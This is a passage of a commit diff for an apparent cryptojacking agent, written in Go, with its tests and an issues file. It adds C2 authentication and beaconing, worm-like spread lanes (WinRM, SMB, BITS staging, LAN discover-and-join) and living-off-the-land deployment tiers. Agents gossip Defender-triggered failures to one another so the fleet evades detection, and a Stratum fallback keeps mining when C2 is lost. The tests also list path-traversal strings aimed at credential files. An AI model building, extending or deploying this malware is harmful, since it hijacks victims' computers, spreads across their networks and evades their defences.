Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

PROBLEMS.md

@@ -1,4 +1,4 @@
-# PROBLEMS.md
+# PROBLEMS.md
 
 Open issues only. Fixed items removed. Last sweep: 2026-06-07.
 
@@ -102,10 +102,11 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07.
 
 | Item | Notes |
 |------|-------|
-| **P1 covered (2026-06-07)** | 14-tier spread chain, triple-onion gates, fleet recon, Fleet AI control, personas, phenotype, failure atlas, court, clearance L0–L4 — Go + Vitest (**732** frontend tests); see `tests/README.md` |
+| **P1 covered (2026-06-07)** | 14-tier spread chain, triple-onion gates, fleet recon, Fleet AI control, personas, phenotype, failure atlas, court, clearance L0–L4 — Go + Vitest (**736** frontend tests); see `tests/README.md` |
-| **P2 remaining** | Live Docker/Podman start, real WinRM/GPO/systemd spread lanes, BITS/curl downloads, full `MiningChainRunner` lifecycle, Playwright Onion timeline E2E, live multi-hop discover→spread E2E |
+| **P2 covered (2026-06-07)** | Mock `MiningChainRunner` lifecycle (`mining_chain_lifecycle_test.go`); spread lane templates + dispatch (`spread_lanes_test.go`, `winrm_spread_test.go`, staging/BITS mocks); Path Forge API + Forge UI (`pathforge_test.go`, `BuilderPage.test.tsx`); WS/beacon + file upload round-trips (`ws_beacon_integration_test.go` server+agent); Playwright LOTL onion + discover→spread stub E2E (`lotl-timeline.spec.ts`, `discover-spread.spec.ts`); Vitest **736** — see `tests/README.md` § P2 |
-| Agent pathtracer Go tests | Windows impl + stub have limited coverage (`pathtracer_stub_test.go` started). |
+| **P2 partial (2026-06-07)** | `MiningChainRunner` lifecycle — 17 Go tests in `agent/client/mining_chain_lifecycle_test.go` (`go test ./client/... -run MiningChain`); mock container exec, no live Docker |
-| Client WS/beacon paths | Integration-heavy; Docker Tier 2 covers Linux slice only. |
+| Agent pathtracer Go tests | Stub + Windows command routing expanded; full `wg_setup` on real hosts still manual. |
+| Client WS/beacon paths | httptest round-trips covered; live TLS/mesh beacon still manual. |
 | Path Tracer 2s REST poll | No WS hop progress; acceptable latency, extra load while tracing. |
 | Emberwake double feed | 15s client poll + 30s server war-room broadcast; prefer WS-only. |
 | `SystemStatusBar` REST poll | `listAgents` every 15s duplicates WS fleet stream. |

agent/client/aggressive_commands.go

@@ -11,6 +11,17 @@ import (
 )
 
 func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
+	c.mu.Lock()
+	scout := c.cfg.ScoutMode
+	c.mu.Unlock()
+	if scout {
+		switch action {
+		case "service_discover", "discover_and_join":
+			return true, ""
+		case "stage_fetch", "spread_now", "spread_smb_unc":
+			return false, "roving scout mode never stages spread payloads"
+		}
+	}
 	switch action {
 	case "hole_punch", "hole_punch_close", "hole_punch_status":
 		if !c.cfg.HolePunch {

agent/client/aggressive_commands_test.go

@@ -1,7 +1,12 @@
 package client
 
 import (
+	"encoding/json"
+	"runtime"
+	"strings"
+	"sync"
 	"testing"
+	"time"
 
 	"crypto-miner-agent/config"
 )
@@ -44,3 +49,162 @@ func TestParsePortArg(t *testing.T) {
 		t.Fatal("invalid should fallback")
 	}
 }
+
+func TestPathTracerAllowRemoteActionRecon(t *testing.T) {
+	c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
+	for _, action := range []string{
+		"wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover",
+	} {
+		ok, reason := c.allowRemoteAction(action)
+		if !ok || reason != "" {
+			t.Fatalf("%s should be allowed without forge flags: ok=%v reason=%q", action, ok, reason)
+		}
+	}
+}
+
+func TestPathTracerAllowRemoteActionDiscoverAndJoinGate(t *testing.T) {
+	c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
+	ok, reason := c.allowRemoteAction("discover_and_join")
+	if ok || reason == "" {
+		t.Fatalf("discover_and_join should require auto_spread or remote_aggressive: ok=%v reason=%q", ok, reason)
+	}
+	c.cfg.RemoteAggressive = true
+	ok, reason = c.allowRemoteAction("discover_and_join")
+	if !ok || reason != "" {
+		t.Fatalf("discover_and_join allowed with remote_aggressive: ok=%v reason=%q", ok, reason)
+	}
+}
+
+func TestPathTracerCommandWgSetupRoutes(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("wg_setup invokes UPnP on Windows — routing covered by wg_status/configure tests")
+	}
+	var (
+		mu      sync.Mutex
+		gotAct  string
+		gotOK   bool
+		gotMsg  string
+	)
+	c := newTestClient(t)
+	c.commandResultHook = func(action string, success bool, message string) {
+		mu.Lock()
+		gotAct, gotOK, gotMsg = action, success, message
+		mu.Unlock()
+	}
+
+	if !c.handleAggressiveCommand("wg_setup", 0, "", "", "") {
+		t.Fatal("wg_setup should be handled by handleAggressiveCommand")
+	}
+
+	deadline := time.Now().Add(2 * time.Second)
+	for {
+		mu.Lock()
+		ready := gotAct != ""
+		mu.Unlock()
+		if ready || time.Now().After(deadline) {
+			break
+		}
+		time.Sleep(5 * time.Millisecond)
+	}
+
+	mu.Lock()
+	act, ok, msg := gotAct, gotOK, gotMsg
+	mu.Unlock()
+	if act != "wg_setup" {
+		t.Fatalf("action=%q", act)
+	}
+	if !ok {
+		t.Fatalf("wg_setup should succeed at dispatch layer, got msg=%q", msg)
+	}
+	var result WGSetupResult
+	if err := json.Unmarshal([]byte(msg), &result); err != nil {
+		t.Fatalf("wg_setup result must be JSON: %v msg=%q", err, msg)
+	}
+	if result.PublicKey == "" && result.Error == "" {
+		t.Fatalf("expected public_key or error in wg_setup JSON: %+v", result)
+	}
+}
+
+func TestPathTracerCommandServiceDiscoverRoutes(t *testing.T) {
+	if testing.Short() {
+		t.Skip("service_discover performs live LAN probes")
+	}
+	var (
+		mu     sync.Mutex
+		gotAct string
+		gotOK  bool
+		gotMsg string
+	)
+	c := newTestClient(t)
+	c.commandResultHook = func(action string, success bool, message string) {
+		mu.Lock()
+		gotAct, gotOK, gotMsg = action, success, message
+		mu.Unlock()
+	}
+
+	done := make(chan struct{})
+	go func() {
+		defer close(done)
+		if !c.handleAggressiveCommand("service_discover", 0, "1", "", "") {
+			t.Error("service_discover should be handled")
+		}
+	}()
+
+	select {
+	case <-done:
+	case <-time.After(8 * time.Second):
+		t.Skip("service_discover LAN scan exceeded 8s in this environment")
+	}
+
+	mu.Lock()
+	act, ok, msg := gotAct, gotOK, gotMsg
+	mu.Unlock()
+	if act != "service_discover" || !ok {
+		t.Fatalf("result: action=%q ok=%v", act, ok)
+	}
+	if msg == "" || !strings.Contains(msg, "{") {
+		t.Fatalf("service_discover should return JSON payload, got %q", msg)
+	}
+}
+
+func TestPathTracerCommandWgConfigureBadPayload(t *testing.T) {
+	var (
+		mu    sync.Mutex
+		gotOK bool
+		gotMsg string
+	)
+	c := newTestClient(t)
+	c.commandResultHook = func(_ string, success bool, message string) {
+		mu.Lock()
+		gotOK, gotMsg = success, message
+		mu.Unlock()
+	}
+
+	if !c.handleAggressiveCommand("wg_configure", 0, "", "", "not-json") {
+		t.Fatal("wg_configure should be handled")
+	}
+	if gotOK || !strings.Contains(gotMsg, "bad wg config payload") {
+		t.Fatalf("got ok=%v msg=%q", gotOK, gotMsg)
+	}
+}
+
+func TestPathTracerCommandWgStatusRoutes(t *testing.T) {
+	var (
+		mu     sync.Mutex
+		gotAct string
+		gotMsg string
+	)
+	c := newTestClient(t)
+	c.commandResultHook = func(action string, _ bool, message string) {
+		mu.Lock()
+		gotAct, gotMsg = action, message
+		mu.Unlock()
+	}
+
+	if !c.handleAggressiveCommand("wg_status", 0, "", "", "") {
+		t.Fatal("wg_status should be handled")
+	}
+	if gotAct != "wg_status" || gotMsg == "" {
+		t.Fatalf("action=%q msg=%q", gotAct, gotMsg)
+	}
+}

agent/client/ai_commands_test.go

@@ -12,6 +12,11 @@ func TestValidateAICommandPathRejectsTraversal(t *testing.T) {
 		"../etc/passwd",
 		"/home/user/../../secret",
 		`C:\Users\alice\..\admin`,
+		"..",
+		"~/../../outside",
+		"@desktop/../../secret",
+		"desktop:../../payload",
+		"safe/inner/../../../etc/shadow",
 	}
 	for _, path := range cases {
 		if err := validateAICommandPath(path); err == nil {
@@ -72,6 +77,26 @@ func TestHandleAIRunDiagnostics(t *testing.T) {
 	}
 }
 
+func TestHandleAISpreadNowWhenEnabled(t *testing.T) {
+	var gotAction string
+	var gotOK bool
+	var gotMsg string
+	c := newTestClient(t)
+	c.cfg.RemoteAggressive = true
+	c.commandResultHook = func(action string, success bool, message string) {
+		gotAction = action
+		gotOK = success
+		gotMsg = message
+	}
+	c.handleAICommand("spread_now", 0, "", "", "")
+	if gotAction != "spread_now" || !gotOK {
+		t.Fatalf("action=%s ok=%v msg=%q", gotAction, gotOK, gotMsg)
+	}
+	if gotMsg == "" {
+		t.Fatal("expected spread sweep message")
+	}
+}
+
 func TestHandleAISpreadNowRequiresForgeFlag(t *testing.T) {
 	var gotOK bool
 	var gotMsg string

agent/client/atlas_gossip.go

@@ -0,0 +1,124 @@
+package client
+
+import (
+	"encoding/json"
+	"strings"
+)
+
+func (c *AgentClient) setAtlasLanGossipEnabled(enabled bool) {
+	c.mu.Lock()
+	c.atlasLanGossipEnabled = enabled
+	c.mu.Unlock()
+}
+
+func (c *AgentClient) atlasLanGossipEnabledSnapshot() bool {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	return c.atlasLanGossipEnabled
+}
+
+func (c *AgentClient) mergeGossipSkipsLocked(incoming []AtlasSkip) {
+	if len(incoming) == 0 {
+		return
+	}
+	have := make(map[string]bool, len(c.atlasSkips)+len(incoming))
+	for _, s := range c.atlasSkips {
+		have[s.Tier+"|"+s.Condition] = true
+	}
+	for _, s := range incoming {
+		s.Tier = strings.TrimSpace(s.Tier)
+		s.Condition = strings.TrimSpace(s.Condition)
+		if s.Tier == "" || s.Condition == "" {
+			continue
+		}
+		key := s.Tier + "|" + s.Condition
+		if have[key] {
+			continue
+		}
+		have[key] = true
+		if strings.TrimSpace(s.Reason) == "" {
+			s.Reason = "lan gossip"
+		}
+		c.atlasSkips = append(c.atlasSkips, s)
+	}
+}
+
+func (c *AgentClient) applyGossipHints(hints []AtlasSkip) {
+	c.mu.Lock()
+	c.mergeGossipSkipsLocked(hints)
+	c.mergeAtlasSkipsIntoPolicyLocked()
+	c.mu.Unlock()
+}
+
+func (c *AgentClient) handleAtlasGossip(payload json.RawMessage) {
+	var body struct {
+		Hints []AtlasSkip `json:"hints"`
+	}
+	if err := json.Unmarshal(payload, &body); err != nil || len(body.Hints) == 0 {
+		return
+	}
+	c.applyGossipHints(body.Hints)
+}
+
+func (c *AgentClient) writeAtlasGossip(hints []AtlasSkip) {
+	if !c.atlasLanGossipEnabledSnapshot() || len(hints) == 0 {
+		return
+	}
+	payload, err := json.Marshal(map[string]interface{}{"hints": hints})
+	if err != nil {
+		return
+	}
+	_ = c.write(Message{Type: "atlas_gossip", Payload: payload})
+}
+
+func (c *AgentClient) primaryGossipCondition(defenderEnabled *bool) string {
+	c.mu.Lock()
+	platform := c.cfg.RegistrationPlatform()
+	c.mu.Unlock()
+	p := strings.ToLower(strings.TrimSpace(platform))
+	switch {
+	case strings.Contains(p, "win"):
+		if defenderEnabled != nil && *defenderEnabled {
+			return "defender_on"
+		}
+		return "goos=windows"
+	case strings.Contains(p, "linux"):
+		return "goos=linux"
+	case strings.Contains(p, "darwin"), strings.Contains(p, "mac"):
+		return "goos=darwin"
+	default:
+		if p != "" {
+			return "goos=" + p
+		}
+		return "unknown"
+	}
+}
+
+func (c *AgentClient) maybeGossipFromAttempts(attempts []TierAttemptPayload, defenderEnabled *bool) {
+	if !c.atlasLanGossipEnabledSnapshot() || len(attempts) == 0 {
+		return
+	}
+	cond := c.primaryGossipCondition(defenderEnabled)
+	var hints []AtlasSkip
+	c.mu.Lock()
+	if c.gossipSent == nil {
+		c.gossipSent = make(map[string]struct{})
+	}
+	for _, a := range attempts {
+		if a.OK || strings.TrimSpace(a.Tier) == "" {
+			continue
+		}
+		key := a.Tier + "|" + cond
+		if _, seen := c.gossipSent[key]; seen {
+			continue
+		}
+		c.gossipSent[key] = struct{}{}
+		reason := "lan gossip"
+		if strings.TrimSpace(a.Error) != "" {
+			reason = "lan gossip: " + a.Error
+		}
+		hints = append(hints, AtlasSkip{Tier: a.Tier, Condition: cond, Reason: reason})
+	}
+	c.mu.Unlock()
+	c.writeAtlasGossip(hints)
+}

agent/client/atlas_gossip_test.go

@@ -0,0 +1,80 @@
+package client
+
+import (
+	"encoding/json"
+	"testing"
+
+	"crypto-miner-agent/config"
+	"crypto-miner-agent/miner"
+)
+
+func TestApplyGossipHintsMergesIntoPolicy(t *testing.T) {
+	c := NewAgentClient(config.RuntimeConfig{})
+	c.applyGossipHints([]AtlasSkip{
+		{Tier: "docker", Condition: "no_docker", Reason: "lan sibling"},
+		{Tier: "docker", Condition: "no_docker", Reason: "dup"},
+		{Tier: "wsl", Condition: "defender_on", Reason: "blocked"},
+	})
+
+	skips := c.atlasSkipsSnapshot()
+	if len(skips) != 2 {
+		t.Fatalf("atlasSkips=%+v", skips)
+	}
+
+	policy := c.miningTierPolicy()
+	have := map[miner.LOTLTier]bool{}
+	for _, tier := range policy.SkipTiers {
+		have[tier] = true
+	}
+	if !have[miner.LOTLTier("docker")] || !have[miner.LOTLTier("wsl")] {
+		t.Fatalf("skip tiers=%v", policy.SkipTiers)
+	}
+}
+
+func TestHandleAtlasGossipMessage(t *testing.T) {
+	c := NewAgentClient(config.RuntimeConfig{})
+	payload, _ := json.Marshal(map[string]interface{}{
+		"hints": []AtlasSkip{{Tier: "container", Condition: "defender_on", Reason: "relay"}},
+	})
+	c.handleAtlasGossip(payload)
+	skips := c.atlasSkipsSnapshot()
+	if len(skips) != 1 || skips[0].Tier != "container" {
+		t.Fatalf("skips=%+v", skips)
+	}
+}
+
+func TestMaybeGossipFromAttemptsDedupes(t *testing.T) {
+	c := NewAgentClient(config.RuntimeConfig{})
+	c.setAtlasLanGossipEnabled(true)
+	defFalse := false
+	attempts := []TierAttemptPayload{{Tier: "docker", OK: false, Error: "denied"}}
+
+	c.maybeGossipFromAttempts(attempts, &defFalse)
+	if len(c.gossipSent) != 1 {
+		t.Fatalf("gossipSent=%v", c.gossipSent)
+	}
+
+	before := len(c.gossipSent)
+	c.maybeGossipFromAttempts(attempts, &defFalse)
+	if len(c.gossipSent) != before {
+		t.Fatal("duplicate attempt should not expand gossipSent")
+	}
+}
+
+func TestMaybeGossipDisabledNoOp(t *testing.T) {
+	c := NewAgentClient(config.RuntimeConfig{})
+	c.setAtlasLanGossipEnabled(false)
+	defTrue := true
+	c.maybeGossipFromAttempts([]TierAttemptPayload{{Tier: "wsl", OK: false}}, &defTrue)
+	if len(c.gossipSent) != 0 {
+		t.Fatalf("gossipSent=%v want empty", c.gossipSent)
+	}
+}
+
+func TestApplyAuthLotlPolicySetsGossipFlag(t *testing.T) {
+	c := NewAgentClient(config.RuntimeConfig{})
+	c.applyAuthLotlPolicy(AuthResponse{AtlasLanGossipEnabled: true})
+	if !c.atlasLanGossipEnabledSnapshot() {
+		t.Fatal("expected atlas LAN gossip enabled from auth")
+	}
+}

agent/client/client.go

@@ -66,6 +66,10 @@ type AgentClient struct {
 	adaptiveStrategy AdaptiveStrategy
 	// atlasSkips are fleet-learned hard subtree blocks from the failure atlas.
 	atlasSkips []AtlasSkip
+	// atlasLanGossipEnabled is opt-in via server auth policy.
+	atlasLanGossipEnabled bool
+	// gossipSent dedupes LAN gossip broadcasts per tier+condition.
+	gossipSent map[string]struct{}
 	// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
 	inheritedPhenotype *InheritedPhenotype
 	// triplePolicy is server-pulled recon → deploy → mining gate policy.
@@ -75,6 +79,10 @@ type AgentClient struct {
 	joinLane string
 	// clearanceLevel is the server-granted security clearance (L0–L4).
 	clearanceLevel int
+	// fleetRoleHintVal is the server-pulled role for fleet_role=auto forges.
+	fleetRoleHintVal string
+	// lanSeeders lists nearby seeders for miner staging pulls (webrtc/do_peer).
+	lanSeeders []deploy.LANSeederHint
 
 	// lastJobAt records when the most recent valid mining job was delivered.
 	// The Stratum fallback manager uses this to detect "connected but jobless"
@@ -116,23 +124,31 @@ func (c *AgentClient) Run() error {
 		}
 	}
 
-	threads := c.cfg.EffectiveThreads()
+	isSeeder := c.cfg.IsSeederRole(c.fleetRoleHint())
-	c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
+
-	c.pool.Start()
+	if !isSeeder {
-	defer c.pool.Stop()
+		threads := c.cfg.EffectiveThreads()
+		c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
+		c.pool.Start()
+		defer c.pool.Stop()
+	}
 
 	chainCtx, chainCancel := context.WithCancel(context.Background())
 	defer chainCancel()
 	c.miningChain = c.newMiningChainRunner()
-	if deploy.WantsDeferMining() {
+	if isSeeder {
+		deploy.StartSeederStaging(c.cfg)
+	} else if deploy.WantsDeferMining() {
 		go c.startMiningWhenReady(chainCtx)
 	} else {
 		c.miningChain.Start(chainCtx)
 	}
-	defer c.miningChain.Stop()
+	if !isSeeder {
+		defer c.miningChain.Stop()
+	}
 
-	// Start AI Autonomy runner if enabled
+	// Start AI Autonomy runner if enabled (miners only — seeders have no pool).
-	if c.cfg.AIEnabled {
+	if c.cfg.AIEnabled && !isSeeder {
 		c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
 		c.aiRunner.shareStats = func() (int, int) {
 			c.mu.Lock()
@@ -151,17 +167,19 @@ func (c *AgentClient) Run() error {
 		defer c.mesh.Stop()
 	}
 
-	// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
+	if !isSeeder {
-	fallbackDone := make(chan struct{})
+		// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
-	fallbackManagerDone := make(chan struct{})
+		fallbackDone := make(chan struct{})
-	go func() {
+		fallbackManagerDone := make(chan struct{})
-		defer close(fallbackManagerDone)
+		go func() {
-		c.stratumFallbackManager(fallbackDone)
+			defer close(fallbackManagerDone)
-	}()
+			c.stratumFallbackManager(fallbackDone)
-	defer func() {
+		}()
-		close(fallbackDone)
+		defer func() {
-		<-fallbackManagerDone
+			close(fallbackDone)
-	}()
+			<-fallbackManagerDone
+		}()
+	}
 
 	// Build deduped server list: primary first, then backups.
 	// On each failure we advance to the next URL so the fleet never
@@ -179,7 +197,9 @@ func (c *AgentClient) Run() error {
 		target := serverURLs[urlIdx%len(serverURLs)]
 		start := time.Now()
 		// Restore C2 share handler before connecting (in case Stratum had it).
-		c.pool.SetShareHandler(c.submitShare)
+		if c.pool != nil {
+			c.pool.SetShareHandler(c.submitShare)
+		}
 		if c.shouldUseHTTPSBeacon(c.wsDownSinceTime()) {
 			log.Printf("[agent] WebSocket unavailable — HTTPS beacon to %s", target)
 			if err := c.beaconOnce(target); err != nil {
@@ -332,7 +352,7 @@ func (c *AgentClient) authenticate() error {
 		backupPools[i] = BackupPoolEntry{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
 	}
 
-	payload, _ := json.Marshal(AuthPayload{
+	authPayload := AuthPayload{
 		AgentID:          c.agentID,
 		FleetSecret:      c.cfg.FleetSecret,
 		Wallet:           c.cfg.Wallet,
@@ -365,7 +385,14 @@ func (c *AgentClient) authenticate() error {
 		LotlOnionEnabled:     c.cfg.LotlOnionEnabled,
 		LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
 		JoinLane:             c.getJoinLane(),
-	})
+		FleetRole:            config.NormalizeFleetRole(c.cfg.FleetRole),
+		SeederMode:           c.cfg.SeederMode,
+	}
+	parentID, spreadGen, spreadStrain := c.cfg.GenealogyReport(c.getJoinLane())
+	authPayload.ParentAgentID = parentID
+	authPayload.SpreadGeneration = spreadGen
+	authPayload.SpreadStrain = spreadStrain
+	payload, _ := json.Marshal(authPayload)
 	if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
 		return err
 	}
@@ -389,6 +416,7 @@ func (c *AgentClient) authenticate() error {
 		return fmt.Errorf("auth failed: %s", resp.Error)
 	}
 	c.applyAuthLotlPolicy(resp)
+	c.applyAuthFleetRole(resp)
 	c.agentID = resp.AgentID
 	if resp.ClearanceLevel > 0 {
 		c.mu.Lock()
@@ -398,10 +426,17 @@ func (c *AgentClient) authenticate() error {
 	if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
 		c.mu.Lock()
 		c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
+		if c.cfg.IsSeederRole(c.fleetRoleHint()) {
+			c.cfg.LotlOnionTiers = config.FilterSeederLotlTiers(c.cfg.LotlOnionTiers)
+		}
 		cfg := c.cfg
 		c.mu.Unlock()
 		log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers)
 	}
+	if seeders := c.lanSeedersSnapshot(); len(seeders) > 0 {
+		localIP, _ := deploy.PrimaryLocalIPv4()
+		deploy.SetLANSeederHints(seeders, localIP)
+	}
 	c.clearWSDownSince()
 	log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
 	// Persist the server-confirmed ID so restarts always reconnect as the same agent.
@@ -415,6 +450,10 @@ func (c *AgentClient) authenticate() error {
 		c.mu.Lock()
 		cfg := c.cfg
 		c.mu.Unlock()
+		if cfg.ScoutMode {
+			c.startScoutRoving()
+			return
+		}
 		if cfg.AutoSpread {
 			deploy.StartAutoSpreader(cfg)
 			if deploy.WantsFirstRunSpread(cfg) {
@@ -422,12 +461,14 @@ func (c *AgentClient) authenticate() error {
 				deploy.ClearFirstRunSpreadMarker(cfg)
 			}
 		}
-		if cfg.LotlOnionEnabled {
+		if cfg.LotlOnionEnabled && !cfg.IsSeederRole(c.fleetRoleHint()) {
 			deploy.StartLotlOnion(cfg)
 		}
 	})
 
-	c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
+	if !c.cfg.IsSeederRole(c.fleetRoleHint()) {
+		c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
+	}
 	return nil
 }
 
@@ -508,6 +549,8 @@ func (c *AgentClient) handleMessage(msg Message) {
 			c.clearanceLevel = payload.ClearanceLevel
 			c.mu.Unlock()
 		}
+	case "atlas_gossip":
+		c.handleAtlasGossip(msg.Payload)
 	case "command":
 		var cmd struct {
 			Action    string `json:"action"`
@@ -1128,6 +1171,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
 							Wallet:     a.Wallet,
 						}
 					}
+					c.maybeGossipFromAttempts(stats.LOTLAttempts, stats.DefenderEnabled)
 				}
 				if len(ms.FailedMethods) > 0 {
 					stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods))
@@ -1150,6 +1194,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
 				stats.StratumEgress = c.stratumEgress(false)
 			}
 			stats.MiningHashrate = avg15s + stats.GPUHashrate15s
+			deploy.SetSpreadMiningTelemetry(stats.MiningHashrate, stats.ChainExhausted)
 			if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
 				stats.AtlasSkips = atlasSkips
 			}
@@ -1173,6 +1218,14 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
 			if lane := c.getJoinLane(); lane != "" {
 				stats.JoinLane = lane
 			}
+			parentID, spreadGen, spreadStrain := c.cfg.GenealogyReport(stats.JoinLane)
+			stats.ParentAgentID = parentID
+			stats.SpreadGeneration = spreadGen
+			stats.SpreadStrain = spreadStrain
+			role, seedP, hrP := c.fleetPressureFields(stats.MiningHashrate, stats.JoinLane)
+			stats.FleetRole = role
+			stats.SeedPressure = seedP
+			stats.HashratePressure = hrP
 			payload, _ := json.Marshal(stats)
 			if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
 				log.Printf("[agent] stats send failed: %v", err)

agent/client/client_upload_test.go

@@ -2,6 +2,8 @@ package client
 
 import (
 	"encoding/base64"
+	"os"
+	"path/filepath"
 	"strings"
 	"sync"
 	"testing"
@@ -32,18 +34,27 @@ func captureCommandResult(t *testing.T, c *AgentClient) (done <-chan struct{}, r
 	return ch, out
 }
 
+// traversalPaths lists every variant that must be rejected by upload/download.
+var traversalPaths = []struct {
+	name string
+	path string
+}{
+	{name: "unix_relative", path: "../../etc/passwd"},
+	{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
+	{name: "embedded_traversal", path: "uploads/../../outside.txt"},
+	{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
+	{name: "dotdot_only", path: ".."},
+	{name: "mixed_separators", path: `foo\..\bar\..\..\secret`},
+	{name: "tilde_traversal", path: "~/../../etc/passwd"},
+	{name: "desktop_prefix_traversal", path: "@desktop/../../outside.txt"},
+	{name: "desktop_colon_traversal", path: "desktop:../../payload.bin"},
+	{name: "midpath_dotdot", path: "safe/inner/../../../etc/shadow"},
+}
+
 func TestUploadCommandRejectsPathTraversal(t *testing.T) {
 	data := base64.StdEncoding.EncodeToString([]byte("payload"))
 
-	cases := []struct {
+	cases := traversalPaths
-		name string
-		path string
-	}{
-		{name: "unix_relative", path: "../../etc/passwd"},
-		{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
-		{name: "embedded_traversal", path: "uploads/../../outside.txt"},
-		{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
-	}
 
 	for _, tc := range cases {
 		t.Run(tc.name, func(t *testing.T) {
@@ -75,15 +86,7 @@ func TestUploadCommandRejectsPathTraversal(t *testing.T) {
 
 
 func TestDownloadCommandRejectsPathTraversal(t *testing.T) {
-	cases := []struct {
+	cases := traversalPaths
-		name string
-		path string
-	}{
-		{name: "unix_relative", path: "../../etc/passwd"},
-		{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
-		{name: "embedded_traversal", path: "uploads/../../outside.txt"},
-		{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
-	}
 
 	for _, tc := range cases {
 		t.Run(tc.name, func(t *testing.T) {
@@ -112,6 +115,40 @@ func TestDownloadCommandRejectsPathTraversal(t *testing.T) {
 		})
 	}
 }
+func TestUploadCommandRejectsInvalidBase64(t *testing.T) {
+	c := newTestClient(t)
+	done, got := captureCommandResult(t, c)
+	c.handleCommand("upload", 0, "", "notes.txt", "not-valid-base64!!!", "")
+	<-done
+	if got.success {
+		t.Fatalf("expected base64 failure, got %q", got.message)
+	}
+	if !strings.Contains(got.message, "invalid base64") {
+		t.Fatalf("message=%q", got.message)
+	}
+}
+
+func TestDownloadCommandReadsSafeFile(t *testing.T) {
+	dir := t.TempDir()
+	src := filepath.Join(dir, "payload.bin")
+	content := []byte("download-me")
+	if err := os.WriteFile(src, content, 0644); err != nil {
+		t.Fatal(err)
+	}
+	data := base64.StdEncoding.EncodeToString(content)
+
+	c := newTestClient(t)
+	done, got := captureCommandResult(t, c)
+	c.handleCommand("download", 0, "", src, "", "")
+	<-done
+	if !got.success {
+		t.Fatalf("download failed: %s", got.message)
+	}
+	if got.message != data {
+		t.Fatalf("encoded mismatch: got len=%d want len=%d", len(got.message), len(data))
+	}
+}
+
 func TestUploadCommandAcceptsSafePath(t *testing.T) {
 	dir := t.TempDir()
 	dest := dir + "/notes.txt"

agent/client/discover_join.go

@@ -33,12 +33,13 @@ func (c *AgentClient) fetchDeployPlan(services []deploy.DeployServiceFinding, un
 		return out, err
 	}
 	body, _ := json.Marshal(map[string]interface{}{
-		"agent_id":    c.agentID,
+		"agent_id":          c.agentID,
-		"build_id":    c.cfg.BuildID,
+		"build_id":          c.cfg.BuildID,
-		"campaign":    strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
+		"campaign":          strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
-		"platform":    runtime.GOOS,
+		"platform":          runtime.GOOS,
-		"services":    services,
+		"services":          services,
-		"unc_path":    uncPath,
+		"unc_path":          uncPath,
+		"wsus_format_mimic": c.cfg.WSUSFormatMimic,
 	})
 	req, err := http.NewRequest(http.MethodPost, base+"/agent/deploy-plan", bytes.NewReader(body))
 	if err != nil {
@@ -76,7 +77,7 @@ func (c *AgentClient) runDiscoverAndJoin(maxLANHosts int) (string, error) {
 	fetch := func(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) {
 		return c.fetchDeployPlan(services, uncPath)
 	}
-	lane, detail, err := deploy.RunDiscoverAndJoin(c.cfg, maxLANHosts, fetch)
+	lane, detail, err := deploy.RunDiscoverAndJoinAs(c.cfg, maxLANHosts, c.agentID, fetch)
 	if err != nil {
 		return "", err
 	}

agent/client/file_ops_common_test.go

@@ -1,9 +1,11 @@
 package client
 
 import (
+	"encoding/base64"
 	"fmt"
 	"os"
 	"path/filepath"
+	"strings"
 	"testing"
 )
 
@@ -70,6 +72,99 @@ func TestIsBlockedDeletePath(t *testing.T) {
 	}
 }
 
+func TestReadFileCommandRejectsOversize(t *testing.T) {
+	dir := t.TempDir()
+	big := filepath.Join(dir, "huge.bin")
+	if err := os.WriteFile(big, make([]byte, maxReadFileBytes+1), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	c := newTestClient(t)
+	var gotOK bool
+	var gotMsg string
+	c.commandResultHook = func(_ string, success bool, message string) {
+		gotOK = success
+		gotMsg = message
+	}
+	c.handleCommand("read_file", 0, "", big, "", "")
+	if gotOK {
+		t.Fatal("oversize read_file should fail")
+	}
+	if !strings.Contains(gotMsg, "file too large") {
+		t.Fatalf("message=%q", gotMsg)
+	}
+}
+
+func TestReadFileCommandAcceptsWithinCap(t *testing.T) {
+	dir := t.TempDir()
+	small := filepath.Join(dir, "small.txt")
+	want := "config-value"
+	if err := os.WriteFile(small, []byte(want), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	c := newTestClient(t)
+	var gotOK bool
